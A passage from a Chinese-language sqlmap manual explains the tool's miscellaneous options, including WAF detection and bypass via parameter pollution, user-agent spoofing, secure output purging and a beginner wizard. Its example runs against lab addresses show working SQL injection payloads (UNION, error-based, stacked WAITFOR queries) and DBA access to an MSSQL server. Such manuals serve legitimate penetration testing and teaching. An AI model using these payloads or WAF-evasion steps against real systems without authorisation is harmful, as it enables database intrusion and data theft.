参数：--beep

发现sql注入时，发出蜂鸣声。

### 启发式检测WAF/IPS/IDS保护

参数：--check-waf

WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰，如果怀疑目标有此防护的话，可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

例如：

&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table\_name FROM information\_schema.tables WHERE 2>1

如果有保护的话可能返回结果会不同。

### 清理sqlmap的UDF(s)和表

参数：--cleanup

清除sqlmap注入时产生的udf与表。

### 禁用彩色输出

参数：--disable-coloring

sqlmap默认彩色输出，可以使用此参数，禁掉彩色输出。

### 使用指定的Google结果页面

参数：--gpage

默认sqlmap使用前100个URL地址作为注入测试，结合此选项，可以指定页面的URL测试。

### 使用HTTP参数污染

参数：-hpp

HTTP参数污染可能会绕过WAF/IPS/IDS保护机制，这个对ASP/IIS与ASP.NET/IIS平台很有效。

### 测试WAF/IPS/IDS保护

参数：--identify-waf

sqlmap可以尝试找出WAF/IPS/IDS保护，方便用户做出绕过方式。目前大约支持30种产品的识别。

例如对一个受到ModSecurity WAF保护的MySQL例子：

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get\_int.php?id=1" --identify-waf -v 3

[...]

[xx:xx:23] [INFO] testing connection to the target URL

[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'

[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'

[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'

[xx:xx:23] [DEBUG] page not found (404)

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'

[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')

[...]

### 模仿智能手机

参数：--mobile

有时服务端只接收移动端的访问，此时可以设定一个手机的User-Agent来模仿手机登陆。

例如：

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile

[...]

which smartphone do you want sqlmap to imitate through HTTP User-Agent header?

[1] Apple iPhone 4s (default)

[2] BlackBerry 9900

[3] Google Nexus 7

[4] HP iPAQ 6365

[5] HTC Sensation

[6] Nokia N97

[7] Samsung Galaxy S

> 1

[...]

### 安全的删除output目录的文件

参数：--purge-output

有时需要删除结果文件，而不被恢复，可以使用此参数，原有文件将会被随机的一些文件覆盖。

例如：

$ python sqlmap.py --purge-output -v 3

[...]

[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...

[xx:xx:55] [DEBUG] changing file attributes

[xx:xx:55] [DEBUG] writing random data to files

[xx:xx:55] [DEBUG] truncating files

[xx:xx:55] [DEBUG] renaming filenames to random values

[xx:xx:55] [DEBUG] renaming directory names to random values

[xx:xx:55] [DEBUG] deleting the whole directory tree

[...]

### 启发式判断注入

参数：--smart

有时对目标非常多的URL进行测试，为节省时间，只对能够快速判断为注入的报错点进行注入，可以使用此参数。

例子：

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get\_int.php?ca=17&user=foo&id=1" --batch --smart

[...]

[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic

[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic

[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable

[xx:xx:14] [INFO] skipping GET parameter 'ca'

[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic

[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic

[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable

[xx:xx:14] [INFO] skipping GET parameter 'user'

[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic

[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic

[xx:xx:14] [INFO] GET parameter 'id' is dynamic

[xx:xx:14] [WARNING] reflective value(s) found and filtering out

[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')

[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'

heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y

do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y

[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable

[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'

[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable

[xx:xx:14] [INFO] testing 'MySQL inline queries'

[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'

[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'

[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable

[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found

[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[xx:xx:24] [INFO] target URL appears to have 3 columns in query

[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable

[...]

### 初级用户向导参数

参数：--wizard 面向初级用户的参数，可以一步一步教你如何输入针对目标注入。

$ python sqlmap.py --wizard

    sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[\*] starting at 11:25:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get\_int.asp?id=1

POST data (--data) [Enter for None]:

Injection difficulty (--level/--risk). Please choose:

[1] Normal (default)

[2] Medium

[3] Hard

> 1

Enumeration (--banner/--current-user/etc). Please choose:

[1] Basic (default)

[2] Smart

[3] All

> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y

do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection points with a total of 25 HTTP(s) requests:

---

Place: GET

Parameter: id

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1 AND 2986=2986

    Type: error-based

    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))

    Type: UNION query

    Title: Generic UNION query (NULL) - 3 columns

    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)--

    Type: stacked queries

    Title: Microsoft SQL Server/Sybase stacked queries

    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind

    Title: Microsoft SQL Server/Sybase time-based blind

    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query

    Title: Microsoft SQL Server/Sybase inline queries

    Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))

---

web server operating system: Windows XP

web application technology: ASP, Microsoft IIS 5.1

back-end DBMS operating system: Windows XP Service Pack 2

back-end DBMS: Microsoft SQL Server 2005

banner:

---

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)

    Oct 14 2005 00:33:37

    Copyright (c) 1988-2005 Microsoft Corporation

    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)

---

current user:    'sa'

current database:    'testdb'

current user is DBA:    True

[\*] shutting down at 11:25:52